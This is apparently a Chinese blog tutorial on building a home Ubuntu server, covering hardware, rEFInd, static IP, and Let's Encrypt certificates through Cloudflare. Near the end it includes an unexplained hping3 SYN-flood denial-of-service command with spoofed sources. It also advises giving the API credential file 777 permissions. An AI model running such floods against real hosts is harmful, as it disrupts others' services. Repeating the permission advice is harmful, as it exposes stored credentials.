服务器选购

对于一个服务器初学者来说,我们并不需要很昂贵的服务器。首先呢我们可以把这个当作一个基本的NAS来玩。当然,你也可以刷入黑群晖系统,在这里我推荐的是华硕J2900+Ubuntu解决方案。

要想服务器能达到可用的程度,我们需要准备:

  • 硬件

    • 一个主板

    • CPU(并不是越强越好,也要考虑经济性)

    • 内存条(注意区分低压条L和标压条)

    • 电源(建议保留部分冗余功率)

    • 硬盘(建议新的)

    • HDMI欺骗器(建议选购,能有效解决gurb引导时无显示不开机问题)

    • SATA线(如果是M2接口就不用),散热器,硅脂等

  • 软件

    • Ubuntu
    • refind
  • 其他相关

    • 域名,推荐eu.org免费三级域名
    • DNS提供商,推荐CloudFlare
    • CDN提供商,如果想做国际化网站,首选Cloudflare

服务器的安装

硬件部分

对于硬件来说,你需要注意一下几点:

  • CPU安装适当,二手产品更换硅脂,合理散热方案。对于我的方案,CPU直接被集成到主板上面, 无需考虑安装问题,更换硅脂时,可以用塑料刮刀把凝固的硅脂慢慢刮下来,必要时可以在断电的情况下用少许酒精润湿。
  • 对于内存条,需要注意的是低压条和标压条。具体的你可以去查询你的CPU相关参数,看你的CPU支持的最大内存数和通道数。用你的最大内存数除以通道数就是支持的单根内存条最大容量。内存条的安装十分简单,将接口对准,将旁边的卡口拨开扣上就好。不正确地安装内存条可能会导致电脑黑屏无法启动。
  • 对于硬盘,如果你想长久的使用建议采购新的硬盘。在这里我采用的是机械硬盘+固态硬盘方案。将系统安装在固态硬盘获得更好的体验,可以选择120G的小容量固态就足够了。而对于机械硬盘可以选择TB级别的大容量硬盘方案,这样可以存储更多的文件。另外的,对于M2接口的不用赘述,对于SATA接口,在选择供电线的时候注意看清楚主板上面的供电接口数量及SATA接口数量。在我的实际操作中,我只有一个电源接口和两个SATA接口。我在网上找了很久,找到了一个公头对两个母头的。在选购的时候请务必仔细辨别。
  • 对于供电电源只需要设计适当的冗余就好,为了你的安全,不建议选购劣质电源。对于我的这个迷你主板服务器来说,有电源适配器是一个很好的解决方案。
  • 对于开机线来说,你可以采购一个电源线。另外,你也可以将PWR_BIN两针脚短接即可。一般的,在主板针脚旁边都有标识。
  • 显卡欺骗器。对于服务器来说,我们一般不会让它总是插着一个显示器。而在GRUB标准引导下,没有显示器无法启动(各个版本的Linux可能会有区别)。所以在这个我们需要一个显卡欺骗器模拟显示器。推荐购买带指示灯的显卡欺骗器,这样你可以知晓开机状态。当然你也可以安装Refind来跳过Grub引导,在后面我们也会提到。
  • 如果二手设备,注意更换Bios主板纽扣电池。
  • 显卡,新手阶段不建议采购。在这里我们也不讲解GPU的安装使用。

软件部分

  • 对于安装Linux,我推荐使用Ubuntu,这是一个对于新手十分友好的操作系统,而且如果你遇到许多问题,网络上大量的参考文件和社区可以对你有所帮助。
  • 具体安装过程请参考我的安装教学视频,包括了Ubuntu安装,refind安装,SSH配置,修改时区,汉化等.视频链接:【自建实体服务器并安装Ubuntu&使用Refind解决Linux无显示器引导问题&保姆级Ubuntu安装教程&自建家庭服务器】 https://www.bilibili.com/video/BV1nP411U7k3/?share_source=copy_web&vd_source=5f37faaa355b744aab219667805b46c8
  • 进入Bios修改启动项并关闭安全启动,最好选择UEFI模式,再进行安装系统。具体操作请自行Google。只要耐心点,慢慢看英语就能解决大部分问题。在这里就不配图了。

相关软件的安装

你需要更新镜像源,安装refind,更改时区,更改语言。下面是一些相关的指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#这是一行注释
apt update -y #更新仓库
apt upgrade -y #更新
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
apt install refind -y #安装refind引导
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#设置中文指令
apt install language-pack-zh-hans
localectl set-locale LANG=zh_CN.utf8
#设置时区指令
dpkg-reconfigure tzdata
cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
#方法来源于网络
reboot #重启
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

对于refind来说在安装后还要配合Bios修改启动项,让refind处于默认第一个,在refind配置中还需要设置相关的配置文件

相关笔记

Ubuntu配置静态IP

下面是在Ubuntu22.04TLS版本上配置静态IP的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
network:
ethernets:
ens33:
dhcp4: false
addresses:
- 192.168.2.2/16 #预设IP,/16等效子网掩码为255.255.0.0
routes:
- to: default
via: 192.168.1.1 #网关
nameservers:
addresses: [192.168.3.3,8.8.8.8] #DNS
version: 2
#注意对齐
netplan apply #应用更改

环境变量配置

修改环境变量有三种方法,以下将逐个说明。

  • 用于当前终端,退出终端之后失效。下面是例子:
1
export keyword=PATH
  • 用于指定用户生效。下面是例子:
1
2
3
vim ~/.bashrc #先切换到指定用户,再编辑
export keyword=PATH
source ~/.bashrc #生效
  • 全局生效,环境变量的配置文件路径是/etc/profile,修改环境变量时在文件末尾添加即可。
1
2
3
vim /etc/profile #修改环境变量配置文件
export keyword=PATH
source /etc/profile #生效

配置全局变量PATH时一定要追加上原来的目录比如:export PATH=$PATH:ADDPATH

利用let’s encrypt申请SSl泛域名证书并自动更新

对于建立一个网站来说,在当今互联网环境下,加密流量是必不可少的技术规范。下面将介绍利用let’s encrypt申请加密证书的申请过程:

首先我们要下载Certbot并和将域名的DNS解析托管至Cloudflare,因为Cloudflare是为数不多的支持API管理的服务商。登入Cloudflare的的Dash管理面板后,在我的个人资料中可以申请到Cloudflare的API令牌,我们需要获取Global API Key并保存。在服务器中创建一个文档,使用vim工具填入以下内容:

1
2
dns_cloudflare_email = cloudflare@example.com #替换成你的Email
dns_cloudflare_api_key = 0123456789abcdef0123456789abcdef01234567 #替换成你的API密钥

保存好后退出并记住路径。 对于Ubuntu系统可以使用apt命令直接安装certbot,更多安装方法请参考其官网。在安装好后我们输入以下命令:

1
2
3
4
#apt install python2-certbot-dns-cloudflare #This command is request in some situation.

certbot certonly --dns-cloudflare --dns-cloudflare-credentials /PATH/APIFILE --dns-cloudflare-propagation-seconds 60 -d *.domain.domain
#请将/PATH/APIFILE替换成API密钥文档所在的路径,并授予root777权限。dns-cloudflare-propagation-seconds 60是在等60秒让DNS解析生效,这个参数是必须的。请将*.domain.domain 替换成需要申请证书的域名,*表示泛域名。请注意申请证书速率限制。

因为证书的有效期只有三个月,接下来我们将使用crontab进行证书的自动更新。

1
2
3
crontab -e #进入crontab创建自动任务
00 03 1 * * /usr/bin/certbot renew #使用certbot在每月1号凌晨3点进行重新申请
03 03 1 * * /usr/sbin/apache2ctl restart #重启Apache,不一定适用于Nginx或者其他软件

拒绝服务攻击

1
hping3 -d 120 -S 192.168.0.102 -w 64 -p 80 --flood --rand-source

注意事项

安装时

挂载分区时如果不UEFI启动,需要有/boot分区,如果是UEFI启动,只需要添加根目录/即可。在UEFI下分配/boot/efi 和 / 分区是必须的。建议分配Swap分区。安装时建议取消关于磁盘的LVM选项。


安装后

记得修改启动项,学习Linux指令,静下心来看就能学会。可以大胆尝试,坏了就重装,没有多大问题。

写在后面的话

在后面我们会继续装一些软件,丰富服务器内容。有Apache2,NextCloud,Jellyfin等。

願吾輩青年只是向上走,能做事的做事,能發光的發光。有一分熱,發一分光,就令螢火一般,也可以在黑暗裏發一點光,不必等候炬火。此後如竟沒有炬火,我便是唯一的光。